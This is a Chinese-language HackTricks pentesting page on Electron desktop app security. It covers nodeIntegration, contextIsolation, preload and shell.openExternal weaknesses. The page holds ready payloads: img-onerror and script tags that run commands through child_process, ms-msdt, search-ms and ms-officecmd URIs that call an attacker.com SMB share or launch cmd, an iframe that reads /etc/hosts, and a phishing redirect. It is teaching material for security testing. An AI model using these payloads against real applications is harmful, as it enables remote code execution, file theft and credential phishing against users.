314 lines
14 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Electron Desktop Apps
{{#include ../../../banners/hacktricks-training.md}}
## 介绍
Electron结合了本地后端使用**NodeJS**)和前端(**Chromium**),尽管它缺乏现代浏览器的一些安全机制。
通常,您可能会在`.asar`应用程序中找到electron应用程序代码获取代码需要提取它
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
在Electron应用的源代码中`packet.json`文件内,可以找到指定的`main.js`文件,其中设置了安全配置。
```json
{
"name": "standard-notes",
"main": "./app/index.js",
```
Electron 有 2 种进程类型:
- 主进程(完全访问 NodeJS
- 渲染进程(出于安全原因,应该限制 NodeJS 的访问)
![](<../../../images/image (182).png>)
一个 **渲染进程** 将是一个加载文件的浏览器窗口:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
**renderer process** 的设置可以在 **main process** 中的 main.js 文件中进行 **配置**。一些配置将 **防止 Electron 应用程序获取 RCE** 或其他漏洞,如果 **设置正确配置**
Electron 应用程序 **可以通过 Node apis 访问设备**,尽管可以配置以防止它:
- **`nodeIntegration`** - 默认情况下为 `off`。如果开启,允许从 renderer process 访问 node 特性。
- **`contextIsolation`** - 默认情况下为 `on`。如果关闭,主进程和渲染进程不被隔离。
- **`preload`** - 默认情况下为空。
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - 默认情况下为 off。它将限制 NodeJS 可以执行的操作。
- 工作线程中的 Node 集成
- **`nodeIntegrationInSubframes`** - 默认情况下为 `off`
- 如果 **`nodeIntegration`** 被 **启用**,这将允许在 Electron 应用程序中 **加载在 iframe 中的网页** 使用 **Node.js APIs**
- 如果 **`nodeIntegration`** 被 **禁用**,则预加载将在 iframe 中加载。
配置示例:
```javascript
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
```
一些 **RCE payloads** 来自 [here](https://7as.es/electron/nodeIntegration_rce.txt):
```html
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />
Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
```
### 捕获流量
修改 start-main 配置并添加使用代理,例如:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
## Electron 本地代码注入
如果您可以本地执行一个 Electron 应用程序,那么您可能可以使其执行任意的 JavaScript 代码。查看如何操作:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
{{#endref}}
## RCE: XSS + nodeIntegration
如果 **nodeIntegration** 设置为 **on**,网页的 JavaScript 可以通过调用 `require()` 轻松使用 Node.js 功能。例如,在 Windows 上执行计算器应用程序的方法是:
```html
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>
```
<figure><img src="../../../images/image (1110).png" alt=""><figcaption></figcaption></figure>
## RCE: preload
在此设置中指示的脚本是**在渲染器中加载其他脚本之前**,因此它具有**对 Node API 的无限访问权限**
```javascript
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
```
因此,脚本可以将 node-features 导出到页面:
```javascript:preload.js
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
```
```html:index.html
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>
```
> [!NOTE] > **如果 `contextIsolation` 开启,这将无法工作**
## RCE: XSS + contextIsolation
_**contextIsolation**_ 引入了 **网页脚本与 JavaScript Electron 内部代码之间的分离上下文**,使得每段代码的 JavaScript 执行不会相互影响。这是消除 RCE 可能性的必要特性。
如果上下文没有被隔离,攻击者可以:
1. 在渲染器中执行 **任意 JavaScript**XSS 或导航到外部网站)
2. **覆盖内置方法**,该方法用于预加载或 Electron 内部代码,替换为自己的函数
3. **触发** 使用 **被覆盖的函数**
4. RCE
内置方法可以被覆盖的地方有两个:在预加载代码中或在 Electron 内部代码中:
{{#ref}}
electron-contextisolation-rce-via-preload-code.md
{{#endref}}
{{#ref}}
electron-contextisolation-rce-via-electron-internal-code.md
{{#endref}}
{{#ref}}
electron-contextisolation-rce-via-ipc.md
{{#endref}}
### 绕过点击事件
如果在点击链接时应用了限制,你可能能够通过 **中间点击** 而不是常规的左键点击来绕过这些限制。
```javascript
window.addEventListener('click', (e) => {
```
## RCE via shell.openExternal
有关此示例的更多信息,请查看 [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) 和 [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
在部署 Electron 桌面应用程序时,确保 `nodeIntegration` 和 `contextIsolation` 的正确设置至关重要。已确定,**客户端远程代码执行 (RCE)** 针对预加载脚本或 Electron 的主进程本地代码在这些设置到位时得到了有效防止。
当用户与链接互动或打开新窗口时,会触发特定的事件监听器,这对应用程序的安全性和功能至关重要:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
这些监听器被**桌面应用程序重写**以实现其自己的**业务逻辑**。该应用程序评估导航链接是否应该在内部打开或在外部网页浏览器中打开。这个决定通常通过一个函数`openInternally`来做。如果这个函数返回`false`,则表示链接应该在外部打开,利用`shell.openExternal`函数。
**以下是简化的伪代码:**
![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>)
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
Electron JS安全最佳实践建议不要使用`openExternal`函数接受不受信任的内容因为这可能通过各种协议导致RCE。操作系统支持不同的协议这些协议可能会触发RCE。有关此主题的详细示例和进一步解释可以参考[这个资源](https://positive.security/blog/url-open-rce#windows-10-19042)其中包括能够利用此漏洞的Windows协议示例。
**Windows协议漏洞的示例包括**
```html
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>
<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>
<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>
```
## 读取内部文件XSS + contextIsolation
**禁用 `contextIsolation` 使得可以使用 `<webview>` 标签**,类似于 `<iframe>`,用于读取和外泄本地文件。提供的示例演示了如何利用此漏洞读取内部文件的内容:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
此外,还分享了另一种 **读取内部文件** 的方法,突出了 Electron 桌面应用中的一个关键本地文件读取漏洞。这涉及注入脚本以利用该应用并外泄数据:
```html
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>
```
## **RCE: XSS + 旧版 Chromium**
如果应用程序使用的 **chromium** 是 **旧版** 并且存在 **已知的漏洞**,那么可能可以通过 **XSS 利用它并获得 RCE**。\
您可以在这个 **writeup** 中看到一个例子: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **通过内部 URL 正则表达式绕过进行 XSS 钓鱼**
假设您发现了一个 XSS但您 **无法触发 RCE 或窃取内部文件**,您可以尝试利用它来 **通过钓鱼窃取凭据**。
首先,您需要了解当您尝试打开一个新 URL 时,前端的 JS 代码会发生什么:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
对**`openInternally`**的调用将决定**链接**是作为平台的链接在**桌面窗口**中**打开**,还是作为**第三方资源**在**浏览器**中打开。
如果该函数使用的**regex**对绕过**漏洞**(例如**未转义子域的点**)是**脆弱的**攻击者可以利用XSS**打开一个新窗口**,该窗口位于攻击者的基础设施中,**向用户请求凭据**
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
```
## **工具**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) 是一个用于识别基于 Electron 的应用程序中的错误配置和安全反模式的工具。
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) 是一个用于 Electron 应用程序的开源 VS Code 插件,使用 Electronegativity。
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) 用于检查易受攻击的第三方库
- [**Electro.ng**](https://electro.ng/): 你需要购买它
## 实验室
在 [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) 中,你可以找到一个利用易受攻击的 Electron 应用程序的实验室。
一些将帮助你进行实验室的命令:
```bash
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
```
## **参考文献**
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
- [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
- [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)
- 更多关于Electron安全的研究和文章在 [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
- [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
{{#include ../../../banners/hacktricks-training.md}}